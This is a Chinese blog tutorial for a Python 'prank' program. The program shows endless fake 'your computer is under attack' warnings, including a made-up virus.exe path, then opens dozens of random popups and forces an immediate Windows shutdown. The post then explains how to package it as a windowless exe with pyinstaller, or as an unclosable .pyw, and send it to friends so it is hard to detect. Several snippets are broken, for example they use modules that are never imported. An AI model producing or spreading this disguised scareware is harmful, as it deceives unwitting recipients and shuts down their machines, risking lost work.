python恶搞代码1:“随机弹窗+警告窗口+关机“大杂烩

1.代码编写

1.基础构建

python能做许多无聊却“有趣”的事情,比如编写一个恶搞序,发给你的朋友们,让他们欲哭无泪放松一下,比如下面这行代码:

import tkinter.messagebox
while True:
    tkinter.messagebox.showwarning('windows警告','你的电脑正在被攻击!')

这是一个很简单的程序,虽然很简单,但杀伤力不小,如果对方不会杀进程,就更有趣,但我们可以在里面加入更多的代码,比如让电脑关机:

#操作电脑有这两种代码:
现在关机:shutdown /s /t 0

现在注销:shutdown /l /t 0

在此提醒:如果不想友尽的话,不要用现在注销!!!

加入关机后,我们可以再对tkinter窗口添油加醋,最后代码如下:

import tkinter.messagebox
import os
word = '''你的电脑正在被攻击!
请不要关闭正在运行的程序,否则会丢失信息
攻击路径:C://Users/appdata/dghgha/langtgdwqi/poquue/sittings/virus.exe'''
while True:
    tkinter.messagebox.showwarning('windows警告',word)
    tkinter.messagebox.showinfo('info','goodbye!')
    os.system('shutdown /s /t 0')

效果图:

python恶搞代码1:“随机弹窗+警告窗口+关机“大杂烩_第1张图片

2.继续扩展

只有前面这些代码并不够,我们可以继续加入一些程序

  1. 增加随机弹窗

我们可以通过tkinter窗口实现随机弹窗的出现:

import tkinter
import random
def boom():
    window = tk.Tk()
    width = window.winfo_screenwidth()
    height = window.winfo_screenheight()
    a = random.randrange(0, width)
    b = random.randrange(0, height)
    window.title('嘿嘿')
    window.geometry("200x50" + "+" + str(a) + "+" + str(b))
    tk.Label(window, text='你是一个傻狍子', bg='green',
    font=('宋体', 17), width=20, height=4).pack()
    window.mainloop()
time.sleep(1)



threads = []
for i in range(25):#可以调整括号内的数字,数字代表出现窗口的数量
    t = threading.Thread(target=boom)
    threads.append(t)
    time.sleep(0)#调整出现速度
    threads[i].start()

上面的文字可以任意修改,场面非常劲爆

展示部分效果:

python恶搞代码1:“随机弹窗+警告窗口+关机“大杂烩_第2张图片

2.完善程序

在前面的这些代码之上,我们在加入几行代码,就会变成最后的结果:

import tkinter.messagebox
import tkinter as tk
import random
import threading
import time
import os
n=0
w='''你的电脑正在被攻击!
请不要关闭正在运行的程序,否则会丢失信息
点击‘确定’进行下一步操作'''
f='''你的电脑正在被攻击!
请不要关闭正在运行的程序,否则会丢失信息
攻击路径:C://Users/appdata/dghgha/langtgdwqi/poquue/sittings/virus.exe'''
tkinter.messagebox.askyesno('python3.7','是否要打开此程序?')
tkinter.messagebox.showinfo('提示','你一定要想好了哈')
tkinter.messagebox.askyesno('提示','最后一次警告!你真的要打开吗?')
tkinter.messagebox.showinfo('提示','我对一会要发生的事情没有丝毫歉意,我已经给过你警告了')

def boom():
    window = tk.Tk()
    width = window.winfo_screenwidth()
    height = window.winfo_screenheight()
    a = random.randrange(0, width)
    b = random.randrange(0, height)
    window.title('嘿嘿')
    window.geometry("200x50" + "+" + str(a) + "+" + str(b))
    tk.Label(window, text='嘿嘿嘿嘿嘿嘿嘿', bg='red',
    font=('宋体', 17), width=20, height=4).pack()
    window.mainloop()
time.sleep(1)
tkinter.messagebox.showwarning('warning',w)


threads = []
for i in range(25):
    t = threading.Thread(target=boom)
    threads.append(t)
    time.sleep(0)
    threads[i].start()
time.sleep(2.5)
for h in range(100):
    tkinter.messagebox.showwarning('warning',f)
    time.sleep(0.2)
    tkinter.messagebox.showinfo('提示','Goodbye')
    time.sleep(1)
    os.system('shutdown -s -t 0')

2.包装

方法一:

第一种方法,简单,但易被识破,建议对头脑简单的朋友使用

方法就是:将扩展名改为.pyw,使窗口打开了就关不上。

方法二:

第二种方法,麻烦,但不易识破,建议对老油条使用

  1. 先用pip install pyinstaller下载包

  1. 将py文件放到一个文件夹中,随后右键这个文件夹,点击“在终端中运行”,进入cmd窗口

  1. 输入 pyinstaller -F -w ./文件名.py

  1. 当看到....... successfully后,将dist文件夹中的exe文件发送

你可能感兴趣的:(python恶搞,python,开发语言)